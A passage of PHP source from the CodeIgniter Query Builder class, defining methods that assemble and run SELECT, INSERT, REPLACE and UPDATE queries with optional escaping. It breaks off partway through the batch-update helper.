list * * @var array */ protected $qb_aliased_tables = array(); /** * QB WHERE group started flag * * @var bool */ protected $qb_where_group_started = FALSE; /** * QB WHERE group count * * @var int */ protected $qb_where_group_count = 0; // Query Builder Caching variables /** * QB Caching flag * * @var bool */ protected $qb_caching = FALSE; /** * QB Cache exists list * * @var array */ protected $qb_cache_exists = array(); /** * QB Cache SELECT data * * @var array */ protected $qb_cache_select = array(); /** * QB Cache FROM data * * @var array */ protected $qb_cache_from = array(); /** * QB Cache JOIN data * * @var array */ protected $qb_cache_join = array(); /** * QB Cache WHERE data * * @var array */ protected $qb_cache_where = array(); /** * QB Cache GROUP BY data * * @var array */ protected $qb_cache_groupby = array(); /** * QB Cache HAVING data * * @var array */ protected $qb_cache_having = array(); /** * QB Cache ORDER BY data * * @var array */ protected $qb_cache_orderby = array(); /** * QB Cache data sets * * @var array */ protected $qb_cache_set = array(); /** * QB No Escape data * * @var array */ protected $qb_no_escape = array(); /** * QB Cache No Escape data * * @var array */ protected $qb_cache_no_escape = array(); // -------------------------------------------------------------------- /** * Select * * Generates the SELECT portion of the query * * @param string * @param mixed * @return CI_DB_query_builder */ public function select($select = '*', $escape = NULL) { if (is_string($select)) { $select = explode(',', $select); } // If the escape value was not set, we will base it on the global setting is_bool($escape) OR $escape = $this->_protect_identifiers; foreach ($select as $val) { $val = trim($val); if ($val !== '') { $this->qb_select[] = $val; $this->qb_no_escape[] = $escape; if ($this->qb_caching === TRUE) { $this->qb_cache_select[] = $val; $this->qb_cache_exists[] = 'select'; $this->qb_cache_no_escape[] = $escape; } } } return $this; } // -------------------------------------------------------------------- /** * Select Max * * Generates a SELECT MAX(field) portion of a query * * @param string the field * @param string an alias * @return CI_DB_query_builder */ public function select_max($select = '', $alias = '') { return $this->_max_min_avg_sum($select, $alias, 'MAX'); } // -------------------------------------------------------------------- /** * Select Min * * Generates a SELECT MIN(field) portion of a query * * @param string the field * @param string an alias * @return CI_DB_query_builder */ public function select_min($select = '', $alias = '') { return $this->_max_min_avg_sum($select, $alias, 'MIN'); } // -------------------------------------------------------------------- /** * Select Average * * Generates a SELECT AVG(field) portion of a query * * @param string the field * @param string an alias * @return CI_DB_query_builder */ public function select_avg($select = '', $alias = '') { return $this->_max_min_avg_sum($select, $alias, 'AVG'); } // -------------------------------------------------------------------- /** * Select Sum * * Generates a SELECT SUM(field) portion of a query * * @param string the field * @param string an alias * @return CI_DB_query_builder */ public function select_sum($select = '', $alias = '') { return $this->_max_min_avg_sum($select, $alias, 'SUM'); } // -------------------------------------------------------------------- /** * SELECT [MAX|MIN|AVG|SUM]() * * @used-by select_max() * @used-by select_min() * @used-by select_avg() * @used-by select_sum() * * @param string $select Field name * @param string $alias * @param string $type * @return CI_DB_query_builder */ protected function _max_min_avg_sum($select = '', $alias = '', $type = 'MAX') { if ( ! is_string($select) OR $select === '') { $this->display_error('db_invalid_query'); } $type = strtoupper($type); if ( ! in_array($type, array('MAX', 'MIN', 'AVG', 'SUM'))) { show_error('Invalid function type: '.$type); } if ($alias === '') { $alias = $this->_create_alias_from_table(trim($select)); } $sql = $type.'('.$this->protect_identifiers(trim($select)).') AS '.$this->escape_identifiers(trim($alias)); $this->qb_select[] = $sql; $this->qb_no_escape[] = NULL; if ($this->qb_caching === TRUE) { $this->qb_cache_select[] = $sql; $this->qb_cache_exists[] = 'select'; } return $this; } // -------------------------------------------------------------------- /** * Determines the alias name based on the table * * @param string $item * @return string */ protected function _create_alias_from_table($item) { if (strpos($item, '.') !== FALSE) { $item = explode('.', $item); return end($item); } return $item; } // -------------------------------------------------------------------- /** * DISTINCT * * Sets a flag which tells the query string compiler to add DISTINCT * * @param bool $val * @return CI_DB_query_builder */ public function distinct($val = TRUE) { $this->qb_distinct = is_bool($val) ? $val : TRUE; return $this; } // -------------------------------------------------------------------- /** * From * * Generates the FROM portion of the query * * @param mixed $from can be a string or array * @return CI_DB_query_builder */ public function from($from) { foreach ((array) $from as $val) { if (strpos($val, ',') !== FALSE) { foreach (explode(',', $val) as $v) { $v = trim($v); $this->_track_aliases($v); $this->qb_from[] = $v = $this->protect_identifiers($v, TRUE, NULL, FALSE); if ($this->qb_caching === TRUE) { $this->qb_cache_from[] = $v; $this->qb_cache_exists[] = 'from'; } } } else { $val = trim($val); // Extract any aliases that might exist. We use this information // in the protect_identifiers to know whether to add a table prefix $this->_track_aliases($val); $this->qb_from[] = $val = $this->protect_identifiers($val, TRUE, NULL, FALSE); if ($this->qb_caching === TRUE) { $this->qb_cache_from[] = $val; $this->qb_cache_exists[] = 'from'; } } } return $this; } // -------------------------------------------------------------------- /** * JOIN * * Generates the JOIN portion of the query * * @param string * @param string the join condition * @param string the type of join * @param string whether not to try to escape identifiers * @return CI_DB_query_builder */ public function join($table, $cond, $type = '', $escape = NULL) { if ($type !== '') { $type = strtoupper(trim($type)); if ( ! in_array($type, array('LEFT', 'RIGHT', 'OUTER', 'INNER', 'LEFT OUTER', 'RIGHT OUTER'), TRUE)) { $type = ''; } else { $type .= ' '; } } // Extract any aliases that might exist. We use this information // in the protect_identifiers to know whether to add a table prefix $this->_track_aliases($table); is_bool($escape) OR $escape = $this->_protect_identifiers; if ( ! $this->_has_operator($cond)) { $cond = ' USING ('.($escape ? $this->escape_identifiers($cond) : $cond).')'; } elseif ($escape === FALSE) { $cond = ' ON '.$cond; } else { // Split multiple conditions if (preg_match_all('/\sAND\s|\sOR\s/i', $cond, $joints, PREG_OFFSET_CAPTURE)) { $conditions = array(); $joints = $joints[0]; array_unshift($joints, array('', 0)); for ($i = count($joints) - 1, $pos = strlen($cond); $i >= 0; $i--) { $joints[$i][1] += strlen($joints[$i][0]); // offset $conditions[$i] = substr($cond, $joints[$i][1], $pos - $joints[$i][1]); $pos = $joints[$i][1] - strlen($joints[$i][0]); $joints[$i] = $joints[$i][0]; } } else { $conditions = array($cond); $joints = array(''); } $cond = ' ON '; for ($i = 0, $c = count($conditions); $i < $c; $i++) { $operator = $this->_get_operator($conditions[$i]); $cond .= $joints[$i]; $cond .= preg_match("/(\(*)?([\[\]\w\.'-]+)".preg_quote($operator)."(.*)/i", $conditions[$i], $match) ? $match[1].$this->protect_identifiers($match[2]).$operator.$this->protect_identifiers($match[3]) : $conditions[$i]; } } // Do we want to escape the table name? if ($escape === TRUE) { $table = $this->protect_identifiers($table, TRUE, NULL, FALSE); } // Assemble the JOIN statement $this->qb_join[] = $join = $type.'JOIN '.$table.$cond; if ($this->qb_caching === TRUE) { $this->qb_cache_join[] = $join; $this->qb_cache_exists[] = 'join'; } return $this; } // -------------------------------------------------------------------- /** * WHERE * * Generates the WHERE portion of the query. * Separates multiple calls with 'AND'. * * @param mixed * @param mixed * @param bool * @return CI_DB_query_builder */ public function where($key, $value = NULL, $escape = NULL) { return $this->_wh('qb_where', $key, $value, 'AND ', $escape); } // -------------------------------------------------------------------- /** * OR WHERE * * Generates the WHERE portion of the query. * Separates multiple calls with 'OR'. * * @param mixed * @param mixed * @param bool * @return CI_DB_query_builder */ public function or_where($key, $value = NULL, $escape = NULL) { return $this->_wh('qb_where', $key, $value, 'OR ', $escape); } // -------------------------------------------------------------------- /** * WHERE, HAVING * * @used-by where() * @used-by or_where() * @used-by having() * @used-by or_having() * * @param string $qb_key 'qb_where' or 'qb_having' * @param mixed $key * @param mixed $value * @param string $type * @param bool $escape * @return CI_DB_query_builder */ protected function _wh($qb_key, $key, $value = NULL, $type = 'AND ', $escape = NULL) { $qb_cache_key = ($qb_key === 'qb_having') ? 'qb_cache_having' : 'qb_cache_where'; if ( ! is_array($key)) { $key = array($key => $value); } // If the escape value was not set will base it on the global setting is_bool($escape) OR $escape = $this->_protect_identifiers; foreach ($key as $k => $v) { $prefix = (count($this->$qb_key) === 0 && count($this->$qb_cache_key) === 0) ? $this->_group_get_type('') : $this->_group_get_type($type); if ($v !== NULL) { if ($escape === TRUE) { $v = ' '.$this->escape($v); } if ( ! $this->_has_operator($k)) { $k .= ' = '; } } elseif ( ! $this->_has_operator($k)) { // value appears not to have been set, assign the test to IS NULL $k .= ' IS NULL'; } elseif (preg_match('/\s*(!?=|<>|\sIS(?:\s+NOT)?\s)\s*$/i', $k, $match, PREG_OFFSET_CAPTURE)) { $k = substr($k, 0, $match[0][1]).($match[1][0] === '=' ? ' IS NULL' : ' IS NOT NULL'); } $this->{$qb_key}[] = array('condition' => $prefix.$k.$v, 'escape' => $escape); if ($this->qb_caching === TRUE) { $this->{$qb_cache_key}[] = array('condition' => $prefix.$k.$v, 'escape' => $escape); $this->qb_cache_exists[] = substr($qb_key, 3); } } return $this; } // -------------------------------------------------------------------- /** * WHERE IN * * Generates a WHERE field IN('item', 'item') SQL query, * joined with 'AND' if appropriate. * * @param string $key The field to search * @param array $values The values searched on * @param bool $escape * @return CI_DB_query_builder */ public function where_in($key = NULL, $values = NULL, $escape = NULL) { return $this->_where_in($key, $values, FALSE, 'AND ', $escape); } // -------------------------------------------------------------------- /** * OR WHERE IN * * Generates a WHERE field IN('item', 'item') SQL query, * joined with 'OR' if appropriate. * * @param string $key The field to search * @param array $values The values searched on * @param bool $escape * @return CI_DB_query_builder */ public function or_where_in($key = NULL, $values = NULL, $escape = NULL) { return $this->_where_in($key, $values, FALSE, 'OR ', $escape); } // -------------------------------------------------------------------- /** * WHERE NOT IN * * Generates a WHERE field NOT IN('item', 'item') SQL query, * joined with 'AND' if appropriate. * * @param string $key The field to search * @param array $values The values searched on * @param bool $escape * @return CI_DB_query_builder */ public function where_not_in($key = NULL, $values = NULL, $escape = NULL) { return $this->_where_in($key, $values, TRUE, 'AND ', $escape); } // -------------------------------------------------------------------- /** * OR WHERE NOT IN * * Generates a WHERE field NOT IN('item', 'item') SQL query, * joined with 'OR' if appropriate. * * @param string $key The field to search * @param array $values The values searched on * @param bool $escape * @return CI_DB_query_builder */ public function or_where_not_in($key = NULL, $values = NULL, $escape = NULL) { return $this->_where_in($key, $values, TRUE, 'OR ', $escape); } // -------------------------------------------------------------------- /** * Internal WHERE IN * * @used-by where_in() * @used-by or_where_in() * @used-by where_not_in() * @used-by or_where_not_in() * * @param string $key The field to search * @param array $values The values searched on * @param bool $not If the statement would be IN or NOT IN * @param string $type * @param bool $escape * @return CI_DB_query_builder */ protected function _where_in($key = NULL, $values = NULL, $not = FALSE, $type = 'AND ', $escape = NULL) { if ($key === NULL OR $values === NULL) { return $this; } if ( ! is_array($values)) { $values = array($values); } is_bool($escape) OR $escape = $this->_protect_identifiers; $not = ($not) ? ' NOT' : ''; if ($escape === TRUE) { $where_in = array(); foreach ($values as $value) { $where_in[] = $this->escape($value); } } else { $where_in = array_values($values); } $prefix = (count($this->qb_where) === 0 && count($this->qb_cache_where) === 0) ? $this->_group_get_type('') : $this->_group_get_type($type); $where_in = array( 'condition' => $prefix.$key.$not.' IN('.implode(', ', $where_in).')', 'escape' => $escape ); $this->qb_where[] = $where_in; if ($this->qb_caching === TRUE) { $this->qb_cache_where[] = $where_in; $this->qb_cache_exists[] = 'where'; } return $this; } // -------------------------------------------------------------------- /** * LIKE * * Generates a %LIKE% portion of the query. * Separates multiple calls with 'AND'. * * @param mixed $field * @param string $match * @param string $side * @param bool $escape * @return CI_DB_query_builder */ public function like($field, $match = '', $side = 'both', $escape = NULL) { return $this->_like($field, $match, 'AND ', $side, '', $escape); } // -------------------------------------------------------------------- /** * NOT LIKE * * Generates a NOT LIKE portion of the query. * Separates multiple calls with 'AND'. * * @param mixed $field * @param string $match * @param string $side * @param bool $escape * @return CI_DB_query_builder */ public function not_like($field, $match = '', $side = 'both', $escape = NULL) { return $this->_like($field, $match, 'AND ', $side, 'NOT', $escape); } // -------------------------------------------------------------------- /** * OR LIKE * * Generates a %LIKE% portion of the query. * Separates multiple calls with 'OR'. * * @param mixed $field * @param string $match * @param string $side * @param bool $escape * @return CI_DB_query_builder */ public function or_like($field, $match = '', $side = 'both', $escape = NULL) { return $this->_like($field, $match, 'OR ', $side, '', $escape); } // -------------------------------------------------------------------- /** * OR NOT LIKE * * Generates a NOT LIKE portion of the query. * Separates multiple calls with 'OR'. * * @param mixed $field * @param string $match * @param string $side * @param bool $escape * @return CI_DB_query_builder */ public function or_not_like($field, $match = '', $side = 'both', $escape = NULL) { return $this->_like($field, $match, 'OR ', $side, 'NOT', $escape); } // -------------------------------------------------------------------- /** * Internal LIKE * * @used-by like() * @used-by or_like() * @used-by not_like() * @used-by or_not_like() * * @param mixed $field * @param string $match * @param string $type * @param string $side * @param string $not * @param bool $escape * @return CI_DB_query_builder */ protected function _like($field, $match = '', $type = 'AND ', $side = 'both', $not = '', $escape = NULL) { if ( ! is_array($field)) { $field = array($field => $match); } is_bool($escape) OR $escape = $this->_protect_identifiers; // lowercase $side in case somebody writes e.g. 'BEFORE' instead of 'before' (doh) $side = strtolower($side); foreach ($field as $k => $v) { $prefix = (count($this->qb_where) === 0 && count($this->qb_cache_where) === 0) ? $this->_group_get_type('') : $this->_group_get_type($type); if ($escape === TRUE) { $v = $this->escape_like_str($v); } if ($side === 'none') { $like_statement = "{$prefix} {$k} {$not} LIKE '{$v}'"; } elseif ($side === 'before') { $like_statement = "{$prefix} {$k} {$not} LIKE '%{$v}'"; } elseif ($side === 'after') { $like_statement = "{$prefix} {$k} {$not} LIKE '{$v}%'"; } else { $like_statement = "{$prefix} {$k} {$not} LIKE '%{$v}%'"; } // some platforms require an escape sequence definition for LIKE wildcards if ($escape === TRUE && $this->_like_escape_str !== '') { $like_statement .= sprintf($this->_like_escape_str, $this->_like_escape_chr); } $this->qb_where[] = array('condition' => $like_statement, 'escape' => $escape); if ($this->qb_caching === TRUE) { $this->qb_cache_where[] = array('condition' => $like_statement, 'escape' => $escape); $this->qb_cache_exists[] = 'where'; } } return $this; } // -------------------------------------------------------------------- /** * Starts a query group. * * @param string $not (Internal use only) * @param string $type (Internal use only) * @return CI_DB_query_builder */ public function group_start($not = '', $type = 'AND ') { $type = $this->_group_get_type($type); $this->qb_where_group_started = TRUE; $prefix = (count($this->qb_where) === 0 && count($this->qb_cache_where) === 0) ? '' : $type; $where = array( 'condition' => $prefix.$not.str_repeat(' ', ++$this->qb_where_group_count).' (', 'escape' => FALSE ); $this->qb_where[] = $where; if ($this->qb_caching) { $this->qb_cache_where[] = $where; } return $this; } // -------------------------------------------------------------------- /** * Starts a query group, but ORs the group * * @return CI_DB_query_builder */ public function or_group_start() { return $this->group_start('', 'OR '); } // -------------------------------------------------------------------- /** * Starts a query group, but NOTs the group * * @return CI_DB_query_builder */ public function not_group_start() { return $this->group_start('NOT ', 'AND '); } // -------------------------------------------------------------------- /** * Starts a query group, but OR NOTs the group * * @return CI_DB_query_builder */ public function or_not_group_start() { return $this->group_start('NOT ', 'OR '); } // -------------------------------------------------------------------- /** * Ends a query group * * @return CI_DB_query_builder */ public function group_end() { $this->qb_where_group_started = FALSE; $where = array( 'condition' => str_repeat(' ', $this->qb_where_group_count--).')', 'escape' => FALSE ); $this->qb_where[] = $where; if ($this->qb_caching) { $this->qb_cache_where[] = $where; } return $this; } // -------------------------------------------------------------------- /** * Group_get_type * * @used-by group_start() * @used-by _like() * @used-by _wh() * @used-by _where_in() * * @param string $type * @return string */ protected function _group_get_type($type) { if ($this->qb_where_group_started) { $type = ''; $this->qb_where_group_started = FALSE; } return $type; } // -------------------------------------------------------------------- /** * GROUP BY * * @param string $by * @param bool $escape * @return CI_DB_query_builder */ public function group_by($by, $escape = NULL) { is_bool($escape) OR $escape = $this->_protect_identifiers; if (is_string($by)) { $by = ($escape === TRUE) ? explode(',', $by) : array($by); } foreach ($by as $val) { $val = trim($val); if ($val !== '') { $val = array('field' => $val, 'escape' => $escape); $this->qb_groupby[] = $val; if ($this->qb_caching === TRUE) { $this->qb_cache_groupby[] = $val; $this->qb_cache_exists[] = 'groupby'; } } } return $this; } // -------------------------------------------------------------------- /** * HAVING * * Separates multiple calls with 'AND'. * * @param string $key * @param string $value * @param bool $escape * @return CI_DB_query_builder */ public function having($key, $value = NULL, $escape = NULL) { return $this->_wh('qb_having', $key, $value, 'AND ', $escape); } // -------------------------------------------------------------------- /** * OR HAVING * * Separates multiple calls with 'OR'. * * @param string $key * @param string $value * @param bool $escape * @return CI_DB_query_builder */ public function or_having($key, $value = NULL, $escape = NULL) { return $this->_wh('qb_having', $key, $value, 'OR ', $escape); } // -------------------------------------------------------------------- /** * ORDER BY * * @param string $orderby * @param string $direction ASC, DESC or RANDOM * @param bool $escape * @return CI_DB_query_builder */ public function order_by($orderby, $direction = '', $escape = NULL) { $direction = strtoupper(trim($direction)); if ($direction === 'RANDOM') { $direction = ''; // Do we have a seed value? $orderby = ctype_digit((string) $orderby) ? sprintf($this->_random_keyword[1], $orderby) : $this->_random_keyword[0]; } elseif (empty($orderby)) { return $this; } elseif ($direction !== '') { $direction = in_array($direction, array('ASC', 'DESC'), TRUE) ? ' '.$direction : ''; } is_bool($escape) OR $escape = $this->_protect_identifiers; if ($escape === FALSE) { $qb_orderby[] = array('field' => $orderby, 'direction' => $direction, 'escape' => FALSE); } else { $qb_orderby = array(); foreach (explode(',', $orderby) as $field) { $qb_orderby[] = ($direction === '' && preg_match('/\s+(ASC|DESC)$/i', rtrim($field), $match, PREG_OFFSET_CAPTURE)) ? array('field' => ltrim(substr($field, 0, $match[0][1])), 'direction' => ' '.$match[1][0], 'escape' => TRUE) : array('field' => trim($field), 'direction' => $direction, 'escape' => TRUE); } } $this->qb_orderby = array_merge($this->qb_orderby, $qb_orderby); if ($this->qb_caching === TRUE) { $this->qb_cache_orderby = array_merge($this->qb_cache_orderby, $qb_orderby); $this->qb_cache_exists[] = 'orderby'; } return $this; } // -------------------------------------------------------------------- /** * LIMIT * * @param int $value LIMIT value * @param int $offset OFFSET value * @return CI_DB_query_builder */ public function limit($value, $offset = 0) { is_null($value) OR $this->qb_limit = (int) $value; empty($offset) OR $this->qb_offset = (int) $offset; return $this; } // -------------------------------------------------------------------- /** * Sets the OFFSET value * * @param int $offset OFFSET value * @return CI_DB_query_builder */ public function offset($offset) { empty($offset) OR $this->qb_offset = (int) $offset; return $this; } // -------------------------------------------------------------------- /** * LIMIT string * * Generates a platform-specific LIMIT clause. * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { return $sql.' LIMIT '.($this->qb_offset ? $this->qb_offset.', ' : '').(int) $this->qb_limit; } // -------------------------------------------------------------------- /** * The "set" function. * * Allows key/value pairs to be set for inserting or updating * * @param mixed * @param string * @param bool * @return CI_DB_query_builder */ public function set($key, $value = '', $escape = NULL) { $key = $this->_object_to_array($key); if ( ! is_array($key)) { $key = array($key => $value); } is_bool($escape) OR $escape = $this->_protect_identifiers; foreach ($key as $k => $v) { $this->qb_set[$this->protect_identifiers($k, FALSE, $escape)] = ($escape) ? $this->escape($v) : $v; } return $this; } // -------------------------------------------------------------------- /** * Get SELECT query string * * Compiles a SELECT query string and returns the sql. * * @param string the table name to select from (optional) * @param bool TRUE: resets QB values; FALSE: leave QB values alone * @return string */ public function get_compiled_select($table = '', $reset = TRUE) { if ($table !== '') { $this->_track_aliases($table); $this->from($table); } $select = $this->_compile_select(); if ($reset === TRUE) { $this->_reset_select(); } return $select; } // -------------------------------------------------------------------- /** * Get * * Compiles the select statement based on the other functions called * and runs the query * * @param string the table * @param string the limit clause * @param string the offset clause * @return CI_DB_result */ public function get($table = '', $limit = NULL, $offset = NULL) { if ($table !== '') { $this->_track_aliases($table); $this->from($table); } if ( ! empty($limit)) { $this->limit($limit, $offset); } $result = $this->query($this->_compile_select()); $this->_reset_select(); return $result; } // -------------------------------------------------------------------- /** * "Count All Results" query * * Generates a platform-specific query string that counts all records * returned by an Query Builder query. * * @param string * @param bool the reset clause * @return int */ public function count_all_results($table = '', $reset = TRUE) { if ($table !== '') { $this->_track_aliases($table); $this->from($table); } // ORDER BY usage is often problematic here (most notably // on Microsoft SQL Server) and ultimately unnecessary // for selecting COUNT(*) ... if ( ! empty($this->qb_orderby)) { $orderby = $this->qb_orderby; $this->qb_orderby = NULL; } $result = ($this->qb_distinct === TRUE OR ! empty($this->qb_groupby)) ? $this->query($this->_count_string.$this->protect_identifiers('numrows')."\nFROM (\n".$this->_compile_select()."\n) CI_count_all_results") : $this->query($this->_compile_select($this->_count_string.$this->protect_identifiers('numrows'))); if ($reset === TRUE) { $this->_reset_select(); } // If we've previously reset the qb_orderby values, get them back elseif ( ! isset($this->qb_orderby)) { $this->qb_orderby = $orderby; } if ($result->num_rows() === 0) { return 0; } $row = $result->row(); return (int) $row->numrows; } // -------------------------------------------------------------------- /** * Get_Where * * Allows the where clause, limit and offset to be added directly * * @param string $table * @param string $where * @param int $limit * @param int $offset * @return CI_DB_result */ public function get_where($table = '', $where = NULL, $limit = NULL, $offset = NULL) { if ($table !== '') { $this->from($table); } if ($where !== NULL) { $this->where($where); } if ( ! empty($limit)) { $this->limit($limit, $offset); } $result = $this->query($this->_compile_select()); $this->_reset_select(); return $result; } // -------------------------------------------------------------------- /** * Insert_Batch * * Compiles batch insert strings and runs the queries * * @param string $table Table to insert into * @param array $set An associative array of insert values * @param bool $escape Whether to escape values and identifiers * @return int Number of rows inserted or FALSE on failure */ public function insert_batch($table, $set = NULL, $escape = NULL, $batch_size = 100) { if ($set === NULL) { if (empty($this->qb_set)) { return ($this->db_debug) ? $this->display_error('db_must_use_set') : FALSE; } } else { if (empty($set)) { return ($this->db_debug) ? $this->display_error('insert_batch() called with no data') : FALSE; } $this->set_insert_batch($set, '', $escape); } if (strlen($table) === 0) { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } // Batch this baby $affected_rows = 0; for ($i = 0, $total = count($this->qb_set); $i < $total; $i += $batch_size) { if ($this->query($this->_insert_batch($this->protect_identifiers($table, TRUE, $escape, FALSE), $this->qb_keys, array_slice($this->qb_set, $i, $batch_size)))) { $affected_rows += $this->affected_rows(); } } $this->_reset_write(); return $affected_rows; } // -------------------------------------------------------------------- /** * Insert batch statement * * Generates a platform-specific insert string from the supplied data. * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string */ protected function _insert_batch($table, $keys, $values) { return 'INSERT INTO '.$table.' ('.implode(', ', $keys).') VALUES '.implode(', ', $values); } // -------------------------------------------------------------------- /** * The "set_insert_batch" function. Allows key/value pairs to be set for batch inserts * * @param mixed * @param string * @param bool * @return CI_DB_query_builder */ public function set_insert_batch($key, $value = '', $escape = NULL) { $key = $this->_object_to_array_batch($key); if ( ! is_array($key)) { $key = array($key => $value); } is_bool($escape) OR $escape = $this->_protect_identifiers; $keys = array_keys($this->_object_to_array(current($key))); sort($keys); foreach ($key as $row) { $row = $this->_object_to_array($row); if (count(array_diff($keys, array_keys($row))) > 0 OR count(array_diff(array_keys($row), $keys)) > 0) { // batch function above returns an error on an empty array $this->qb_set[] = array(); return; } ksort($row); // puts $row in the same order as our keys if ($escape !== FALSE) { $clean = array(); foreach ($row as $value) { $clean[] = $this->escape($value); } $row = $clean; } $this->qb_set[] = '('.implode(',', $row).')'; } foreach ($keys as $k) { $this->qb_keys[] = $this->protect_identifiers($k, FALSE, $escape); } return $this; } // -------------------------------------------------------------------- /** * Get INSERT query string * * Compiles an insert query and returns the sql * * @param string the table to insert into * @param bool TRUE: reset QB values; FALSE: leave QB values alone * @return string */ public function get_compiled_insert($table = '', $reset = TRUE) { if ($this->_validate_insert($table) === FALSE) { return FALSE; } $sql = $this->_insert( $this->protect_identifiers( $this->qb_from[0], TRUE, NULL, FALSE ), array_keys($this->qb_set), array_values($this->qb_set) ); if ($reset === TRUE) { $this->_reset_write(); } return $sql; } // -------------------------------------------------------------------- /** * Insert * * Compiles an insert string and runs the query * * @param string the table to insert data into * @param array an associative array of insert values * @param bool $escape Whether to escape values and identifiers * @return bool TRUE on success, FALSE on failure */ public function insert($table = '', $set = NULL, $escape = NULL) { if ($set !== NULL) { $this->set($set, '', $escape); } if ($this->_validate_insert($table) === FALSE) { return FALSE; } $sql = $this->_insert( $this->protect_identifiers( $this->qb_from[0], TRUE, $escape, FALSE ), array_keys($this->qb_set), array_values($this->qb_set) ); $this->_reset_write(); return $this->query($sql); } // -------------------------------------------------------------------- /** * Validate Insert * * This method is used by both insert() and get_compiled_insert() to * validate that the there data is actually being set and that table * has been chosen to be inserted into. * * @param string the table to insert data into * @return string */ protected function _validate_insert($table = '') { if (count($this->qb_set) === 0) { return ($this->db_debug) ? $this->display_error('db_must_use_set') : FALSE; } if ($table !== '') { $this->qb_from[0] = $table; } elseif ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Replace * * Compiles an replace into string and runs the query * * @param string the table to replace data into * @param array an associative array of insert values * @return bool TRUE on success, FALSE on failure */ public function replace($table = '', $set = NULL) { if ($set !== NULL) { $this->set($set); } if (count($this->qb_set) === 0) { return ($this->db_debug) ? $this->display_error('db_must_use_set') : FALSE; } if ($table === '') { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } $sql = $this->_replace($this->protect_identifiers($table, TRUE, NULL, FALSE), array_keys($this->qb_set), array_values($this->qb_set)); $this->_reset_write(); return $this->query($sql); } // -------------------------------------------------------------------- /** * Replace statement * * Generates a platform-specific replace string from the supplied data * * @param string the table name * @param array the insert keys * @param array the insert values * @return string */ protected function _replace($table, $keys, $values) { return 'REPLACE INTO '.$table.' ('.implode(', ', $keys).') VALUES ('.implode(', ', $values).')'; } // -------------------------------------------------------------------- /** * FROM tables * * Groups tables in FROM clauses if needed, so there is no confusion * about operator precedence. * * Note: This is only used (and overridden) by MySQL and CUBRID. * * @return string */ protected function _from_tables() { return implode(', ', $this->qb_from); } // -------------------------------------------------------------------- /** * Get UPDATE query string * * Compiles an update query and returns the sql * * @param string the table to update * @param bool TRUE: reset QB values; FALSE: leave QB values alone * @return string */ public function get_compiled_update($table = '', $reset = TRUE) { // Combine any cached components with the current statements $this->_merge_cache(); if ($this->_validate_update($table) === FALSE) { return FALSE; } $sql = $this->_update($this->qb_from[0], $this->qb_set); if ($reset === TRUE) { $this->_reset_write(); } return $sql; } // -------------------------------------------------------------------- /** * UPDATE * * Compiles an update string and runs the query. * * @param string $table * @param array $set An associative array of update values * @param mixed $where * @param int $limit * @return bool TRUE on success, FALSE on failure */ public function update($table = '', $set = NULL, $where = NULL, $limit = NULL) { // Combine any cached components with the current statements $this->_merge_cache(); if ($set !== NULL) { $this->set($set); } if ($this->_validate_update($table) === FALSE) { return FALSE; } if ($where !== NULL) { $this->where($where); } if ( ! empty($limit)) { $this->limit($limit); } $sql = $this->_update($this->qb_from[0], $this->qb_set); $this->_reset_write(); return $this->query($sql); } // -------------------------------------------------------------------- /** * Validate Update * * This method is used by both update() and get_compiled_update() to * validate that data is actually being set and that a table has been * chosen to be update. * * @param string the table to update data on * @return bool */ protected function _validate_update($table) { if (count($this->qb_set) === 0) { return ($this->db_debug) ? $this->display_error('db_must_use_set') : FALSE; } if ($table !== '') { $this->qb_from = array($this->protect_identifiers($table, TRUE, NULL, FALSE)); } elseif ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Update_Batch * * Compiles an update string and runs the query * * @param string the table to retrieve the results from * @param array an associative array of update values * @param string the where key * @return int number of rows affected or FALSE on failure */ public function update_batch($table, $set = NULL, $index = NULL, $batch_size = 100) { // Combine any cached components with the current statements $this->_merge_cache(); if ($index === NULL) { return ($this->db_debug) ? $this->display_error('db_must_use_index') : FALSE; } if ($set === NULL) { if (empty($this->qb_set)) { return ($this->db_debug) ? $this->display_error('db_must_use_set') : FALSE; } } else { if (empty($set)) { return ($this->db_debug) ? $this->display_error('update_batch() called with no data') : FALSE; } $this->set_update_batch($set, $index); } if (strlen($table) === 0) { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } // Batch this baby $affected_rows = 0; for ($i = 0, $total = count($this->qb_set); $i < $total; $i += $batch_size) { if ($this->query($this->_update_batch($this->protect_identifiers($table, TRUE, NULL, FALSE), array_slice($this->qb_set, $i, $batch_size), $index))) { $affected_rows += $this->affected_rows(); } $this->qb_where = array(); } $this->_reset_write(); return $affected_rows; } // -------------------------------------------------------------------- /** * Update_Batch statement * * Generates a platform-specific batch update string from the supplied data * * @param string $table Table name * @param array $values Update data * @param string $index WHERE key * @return string */ protected function _update_batch($table, $values, $index) { $index_escaped = $this->protect_identifiers($index); $ids = array(); foreach ($values as $key => $val) { $ids[] = $val[$index]; foreach (array_keys($val) as $field) { if ($field !== $index) { $final[$field][] = 'WHEN '.$index_escaped.' = '.$val[$index].' THEN '.$val[$field]; } } } $cases = ''; foreach ($final as $k => $v) { $cases .= $k." = CASE \n" .implode("\n", $v)."\n" .'ELSE '.$k.' END, '; } $this->where($index_escaped.' IN('.implode(',', $ids).')', NULL, FALSE); return 'UPDATE '.$table.' SET '.substr($cases, 0, -2).$this->_compile_wh('qb_where'); } // -------------------------------------------------------------------- /** * The "set_update_batch" function. Allows key/value pairs to be set for batch updating * * @param array * @param string * @param bool * @return CI_DB_query_builder */ public function set_update_batch($key, $index = '', $escape = NULL) { $key = $this->_object_to_array_batch($key); if ( ! is_array($key)) { // @todo error } is_bool($escape) OR $escape = $this->_protect_identifiers; foreach ($key as $k => $v) { $index_set = FALSE; $clean = array(); foreach ($v as $k2 => $v2) { if ($k2 === $index) { $index_set = TRUE; } $clean[$this->protect_identifiers($k2, FALSE, $escape)] = ($escape === FALSE) ? $v2 : $this->escape($v2); } if ($index_set === FALSE) { return 